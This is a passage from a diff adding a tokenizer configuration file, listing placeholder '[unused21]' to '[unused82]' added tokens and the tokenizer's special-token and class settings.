+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50306": {
+      "content": "[unused21]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50307": {
+      "content": "[unused22]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50308": {
+      "content": "[unused23]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50309": {
+      "content": "[unused24]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50310": {
+      "content": "[unused25]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50311": {
+      "content": "[unused26]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50312": {
+      "content": "[unused27]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50313": {
+      "content": "[unused28]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50314": {
+      "content": "[unused29]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50315": {
+      "content": "[unused30]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50316": {
+      "content": "[unused31]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50317": {
+      "content": "[unused32]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50318": {
+      "content": "[unused33]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50319": {
+      "content": "[unused34]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50320": {
+      "content": "[unused35]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50321": {
+      "content": "[unused36]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50322": {
+      "content": "[unused37]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50323": {
+      "content": "[unused38]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50324": {
+      "content": "[unused39]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50325": {
+      "content": "[unused40]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50326": {
+      "content": "[unused41]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50327": {
+      "content": "[unused42]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50328": {
+      "content": "[unused43]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50329": {
+      "content": "[unused44]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50330": {
+      "content": "[unused45]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50331": {
+      "content": "[unused46]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50332": {
+      "content": "[unused47]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50333": {
+      "content": "[unused48]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50334": {
+      "content": "[unused49]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50335": {
+      "content": "[unused50]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50336": {
+      "content": "[unused51]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50337": {
+      "content": "[unused52]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50338": {
+      "content": "[unused53]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50339": {
+      "content": "[unused54]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50340": {
+      "content": "[unused55]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50341": {
+      "content": "[unused56]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50342": {
+      "content": "[unused57]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50343": {
+      "content": "[unused58]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50344": {
+      "content": "[unused59]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50345": {
+      "content": "[unused60]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50346": {
+      "content": "[unused61]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50347": {
+      "content": "[unused62]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50348": {
+      "content": "[unused63]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50349": {
+      "content": "[unused64]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50350": {
+      "content": "[unused65]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50351": {
+      "content": "[unused66]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50352": {
+      "content": "[unused67]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50353": {
+      "content": "[unused68]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50354": {
+      "content": "[unused69]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50355": {
+      "content": "[unused70]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50356": {
+      "content": "[unused71]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50357": {
+      "content": "[unused72]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50358": {
+      "content": "[unused73]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50359": {
+      "content": "[unused74]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50360": {
+      "content": "[unused75]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50361": {
+      "content": "[unused76]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50362": {
+      "content": "[unused77]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50363": {
+      "content": "[unused78]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50364": {
+      "content": "[unused79]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50365": {
+      "content": "[unused80]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50366": {
+      "content": "[unused81]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50367": {
+      "content": "[unused82]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    }
+  },
+  "clean_up_tokenization_spaces": true,
+  "cls_token": "[CLS]",
+  "extra_special_tokens": {},
+  "mask_token": "[MASK]",
+  "model_input_names": [
+    "input_ids",
+    "attention_mask"
+  ],
+  "model_max_length": 1000000000000000019884624838656,
+  "pad_token": "[PAD]",
+  "sep_token": "[SEP]",
+  "tokenizer_class": "PreTrainedTokenizerFast",
+  "unk_token": "[UNK]"
+}